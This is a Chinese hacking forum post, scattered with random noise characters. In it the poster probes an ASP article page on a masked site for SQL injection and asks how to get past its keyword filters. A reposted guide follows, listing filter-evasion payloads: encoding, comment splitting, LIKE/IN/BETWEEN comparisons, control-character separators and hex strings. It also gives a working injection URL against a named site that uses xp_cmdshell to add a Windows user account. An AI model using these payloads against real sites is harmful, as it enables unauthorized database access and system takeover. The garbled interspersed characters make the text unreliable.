路过这个网站,检测了一下.5 [* A. l( c' Y, q6 M
http://www.xxx.cn/Article.asp?ID=117 and 1=1/ h+ p, z3 @2 ? j5 K7 M4 b: n
直接返回主页
( C+ B/ u+ h$ Jhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
]7 [) n. ^+ k. ?1 B2 j直接返回主页: L) ]+ B9 d0 R, G, Z
http://www.xxx.cn/Article.asp?ID=117 or
# T( a6 {" ~' r4 _# d, h没有返回主页 没有过滤or- N) C z }: W. D
http://www.xxx.cn/Article.asp?ID=117 and
( [( M7 `) F& Z: T0 X直接返回主页 看来过滤了and
, i8 }. w/ z, Chttp://www.xxx.cn/Article.asp?ID=117 or 1& o+ ?3 C/ e, d" W* [
没有返回主页 即没有过滤or 也没有过滤1
; s" X: R! o% hhttp://www.xxx.cn/Article.asp?ID=117 or 1=1
+ m7 I: R" o$ C' y& U% a直接返回主页 很明显过滤了等号
& p7 T/ j$ P) R! m' Tor的特性是与and相反的.
k" I C# O0 H0 i. C" T6 a* G$ Xor 1=1 爆错 或与原页面不同7 ^; P. A, A- \
or 1=2 原页面相同; V! n4 e# ]* Z+ I7 \; H: @4 ^2 b
这样就是一个注入点
/ f0 }$ e( @% z9 P但他过滤了=号 我就用><号代替=号吧!& ^3 \" J5 F/ ?/ n) T& p$ m$ n/ B
or 1<2 很明显是正确的,所以应该与原页面不同
! R" F s6 v5 H- J- l, s) Gor 1>2 很明显是错误的,所以应该与原页面相同/ y" b1 W2 P8 M3 |
然后看看有没有过滤其他的查询语句,比如select.- u9 {, f1 ?0 A' n. v' E+ S) w/ `/ U
http://www.xxx.cn/Article.asp?ID=117 select, k4 v* |$ L6 m# G* N
直接返回主页9 S+ ?+ p B {8 U
又迷茫了..
7 J* _' B4 y0 v- U( v0 ?4 D1 T! B' t& N2 Z- ~" ~
; O1 e# i1 |) o( A! a4 G4 h4 Rcookies注入.和以下的方法全都试过了,都失败了.还有什么方法可以饶过吗
$ ` k% `# i' x这个系统我以为是my动力,后台却是这样的http://www.xxx.cn/admin.asp(应该不是假够台吧)$ B) g; }9 t* X7 W2 U5 i
================================================
$ g/ o1 w- n5 n$ m% ^/ c以下是转贴:& O" o1 u& d8 D
! V6 E( Q7 v6 G" Z突然想我们是否可以用什么方法绕过SQL注入的限制呢?到网上考察了一下,提到的方法大多都是针对AND与“’”号和“=”号过滤的突破,虽然有点进步的地方,但还是有一些关键字没有绕过,由于我不常入侵网站所以也不敢对上述过滤的效果进行评论,但是可以肯定的是,效果不会很好……
" o8 V2 K- B8 J8 F* W3 B经过我的收集,大部分的防注入程序都过滤了以下关键字: ) U* a0 I9 n, W7 |- I; F
and | select | update | chr | delete | %20from | ; | insert | mid | master. | set | = 7 P: a6 ~6 |/ q9 V4 F3 C& ~4 C
而这里最难处理的就是select这个关键字了,那么我们怎样来突破他们呢?问题虽未完全解决,但还是说出来与大家分享一下,希望能抛砖引玉。 7 w" C/ ?+ F8 e) z! p
对于关键字的过滤,以下是我收集的以及我个人的一些想法。
1 h# @: b0 M* Q* ^' B( O1、运用编码技术绕过
# ]1 k4 p2 ~, Q- x- p如URLEncode编码,ASCII编码绕过。例如or 1=1即
7 h& e: M$ J% Q+ {%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。 / [% x3 G2 M# f% i" Z2 d, K
c3 m5 b9 ^) {2 ~1 E0 p0 h( l" t( r6 X
2、通过空格绕过
2 D$ }9 }& y E如两个空格代替一个空格,用Tab代替空格等,或者删除所有空格,如
# D4 T8 v! j; ~4 q! [. Cor’ swords’ =‘swords’
8 F: `- q- O6 u1 m,由于mssql的松散性,我们可以把or ’swords’ 之间的空格去掉,并不影响运行。
/ e) }4 o6 ~/ Z! e9 [3、运用字符串判断代替 6 o! X( M. o2 w# R$ l0 g
用经典的or 1=1判断绕过,如
: S; d( C( F1 \2 A! Hor ’swords’ =’swords’ 2 D0 X2 n, P0 p7 w/ W( ~# W: n
,这个方法就是网上在讨论的。 - y3 x1 v' X* O+ `- G" V
4、通过类型转换修饰符N绕过 ; f" \( S0 H5 N/ J1 e8 x
可以说这是一个不错的想法,他除了能在某种程度上绕过限制,而且还有别的作用,大家自己好好想想吧。关于利用,如or ’swords’ = N’ swords’ ,大写的N告诉mssql server 字符串作为nvarchar类型,它起到类型转换的作用,并不影响注射语句本身,但是可以避过基于知识的模式匹配IDS。
) c+ o% y5 f$ I5、通过+号拆解字符串绕过 3 ~ w! T# F5 e0 M
效果值得考证,但毕竟是一种方法。如
9 K4 t5 m. }. I0 w4 K9 P) Kor ’swords’ =‘sw’ +’ ords’ ;EXEC(‘IN’ +’ SERT INTO ’+’ …..’ ) $ \. V! \6 \6 T: Z# D
7 \: m4 T0 S0 n) |6 Z- U6、通过LIKE绕过
4 ^" ~/ G p. F: s* K6 F; p8 x以前怎么就没想到呢?如or . s7 L* K) H4 ^9 b
’swords’ LIKE ’sw’ ' m; ~7 k I# S z& M3 j/ ~2 P. N
!!!显然可以很轻松的绕过
9 y, Y) N$ J( e' h9 Q9 c" [“=”“>”
1 g$ q- M% y( K% T' b的限制……
' H+ E, T! X7 l3 g/ U( ]7、通过IN绕过
7 j( n# ^8 j% k2 k与上面的LIKE的思路差不多,如
( I# _, \# O8 ]. w6 oor ’swords’ IN (’swords’)
$ G& [& c# |) B* z, P! l. A. ~4 }4 O5 t4 a
8、通过BETWEEN绕过
* w; @$ L( b" E$ i2 i- K如
- f( t* ^; Y6 b+ K1 Qor ’swords’ BETWEEN ’rw’ AND ’tw’
( g- d( U8 `. r" o- g
" D8 W8 ~4 ]7 }4 Z4 P9、通过>或者<绕过
5 j1 w! S4 |6 n% }or ’swords’ > ’sw’ 6 M+ t% z. R$ D! n- D; k) j
or ’swords’ < ’tw’
4 r6 n+ r0 f' i# g$ A4 J' Ror 1<3
- w Z4 u9 H* O7 D7 N: U' R1 V……
3 F- K* n4 y/ |/ B( b10、运用注释语句绕过 2 N) g/ `2 j2 s9 Z; M
用/**/代替空格,如: % l/ n1 o1 j- `- q1 k
UNION /**/ Select /**/user,pwd,from tbluser / r' y$ t4 e7 [, X& y2 @4 d: g
& e( t9 F7 J) |4 i用/**/分割敏感词,如:
/ t4 \7 g, e# t' L$ U* XU/**/ NION /**/ SE/**/ LECT /**/user,pwd from tbluser
# _* N& I. k7 P$ y+ `2 q2 R8 u/ U5 p
& B _: g2 E9 v- U11、用HEX绕过,一般的IDS都无法检测出来
7 r7 Y6 I9 g, g, z2 q0x730079007300610064006D0069006E00 =hex(sysadmin)
. `6 V) x" D# w* w$ c7 O0x640062005F006F0077006E0065007200 =hex(db_owner) 3 I7 S* T6 r9 I. l$ f& q
另外,关于通用点的过滤方法,我们可以考虑采用赋值的方法,例如先声明一个变量a,然后把我们的指令赋值给a,然后调用变量a最终执行我们输入的命令。变量a可以是任何命令。如下: ) \6 D ~+ A7 b
declare @a sysname % F( o6 X1 ]* N! U
select @a= 1 u% y, r/ |; [9 t* T, q
exec master.dbo.xp_cmdshell @a
* B0 ?+ h) D, `: m- a; L8 t效果 9 D5 y W, O( L# {$ j, q/ a6 I
http://www.ilikeplmm.com/show.asp?id=1;declare%20@a% [email=20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a]20sysname%20select%20@a=0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400%20exec%20master.dbo.xp_cmdshell%20@a[/email];-- ; a/ R4 }. n2 _) F9 a* `
* x8 {& H8 y+ c7 c2 @其中的
& x9 ^+ Z. C' q( p# N% [0x6e006500740020007500730065007200200061006e00670065006c002000700061007300730020002f00610064006400
5 r8 z; c t3 `; S7 t; r; e就是 1 o7 m# t' Y6 h0 D; Q" A- t
“net user angel pass /add”; T7 K. T+ L" G9 ?$ W8 Q" F4 T
/ Z' H# r) j- [+ E一直以来都以为只有空格,tab键和注释符/**/可以用来切割sql关键字,段时间在邪八看了风迅cms注入漏洞那篇帖子,才知道原来回车也可以用来作为分割符(以前竟然没有想到,真是失败)。回车的ascii码是chr(13)&chr(10),至于为什么要两个连在一起,这个我也不知道。转换成url编码形式是%0d%0a,于是就可以用%0d%0a代替空格pass一些过滤空格的检查了。6 L+ Q$ w. Z% u9 Q+ l, D6 _
引申一下,只用%0d能正常执行语句吗?只用%0a呢?测试证明,用任意一种分割在mssql、mysql和access里面都是可以的。
8 Q) t4 S/ `2 Q' s另外,关于mssql的多语句问题。我以前一直以为必须用分号作为语句的结尾,后来发现,完全不是那样。类似 [+ D4 ~4 _0 `8 y+ T
Copy code$ ~' C# d p9 @" k& P
select * from table exec xp_cmdshell'xxxxxxxxxx'
3 D7 c8 ~. Q$ n1 ?4 ]7 o2 z
6 |. _ P0 c- a8 b6 x9 A5 t" ^
0 X, X' [. z, |1 xselect * from table/**/exec xp_cmdshell'xxxxxxxxxx'
( X0 H* A0 `* W9 N
; Y8 k% S) u: F$ P! {, q6 X2 f9 V
: \; g! K# c0 Y; _, Oselect * from table|---tab---|exec xp_cmdshell'xxxxxxxxxx'
1 y0 P! y+ o. k T4 l" B: v
, {2 b$ j# Q* H! m( i6 v8 X
% z [. [, p% E$ m8 c6 V9 vselect * from table|---enter---|exec xp_cmdshell'xxxxxxxxxx'& V& w) x; V/ g. r% ?5 A. `) D4 W
" U$ d" G1 q9 O
的语句都是可以正常执行的。而我以前竟然一直不知道!不过这个貌似跟连接数据库驱动有关系,odbc可以正常执行,sqloledb的话就会报错。有兴趣的继续研究吧?
' Z5 _1 X! E ?6 y% @0 ?
0 r; H# p4 a1 I; o& t ` q- _) y这样,以后遇到带空格过滤关键字的拦截程序,又可以发挥发挥了
4 V+ P" g r% [6 k可能大家早就知道了,不管怎么说,发在这里吧!1 A' C& g7 k$ I }/ {/ K
4 P$ e+ p8 a9 ~$ y最近想起可能还有些ascii码可以用来在sql语句中代替空格,于是写个脚本测试了一下,结果在所有128个低位ascii字符中,chr(12)也可以在access里用,不过貌似chr(12)不能出现在and、or之类的关键词附近,原因不清楚。mysql中比access多一个chr(11)可以。至于mssql,挖日,直接从1到32的ascii码换成字符后都可以正常使用。
" o9 Q/ M' I+ g' | x
3 d4 U4 h3 _! t
" r5 ~: D* |- A% T1 P: M7 q
3 `% ]7 u( o0 ^对于中间应该出现空格的地方,用()进行替换,不过,对于很复杂的SQL语句就不太好用了。上面说到的是字符型的,如果是数值型,可以在id=1后加一个括号,不过这个我没有测试,
2 C3 @+ H* n! D" ?! {- p! \比如:jmdcw.asp?id=(1)and(select.....),应该是可行的吧? ! c# f- [4 p$ ~- u0 g: B
8 ?: f4 R/ s7 R; H" S- H# J1 N |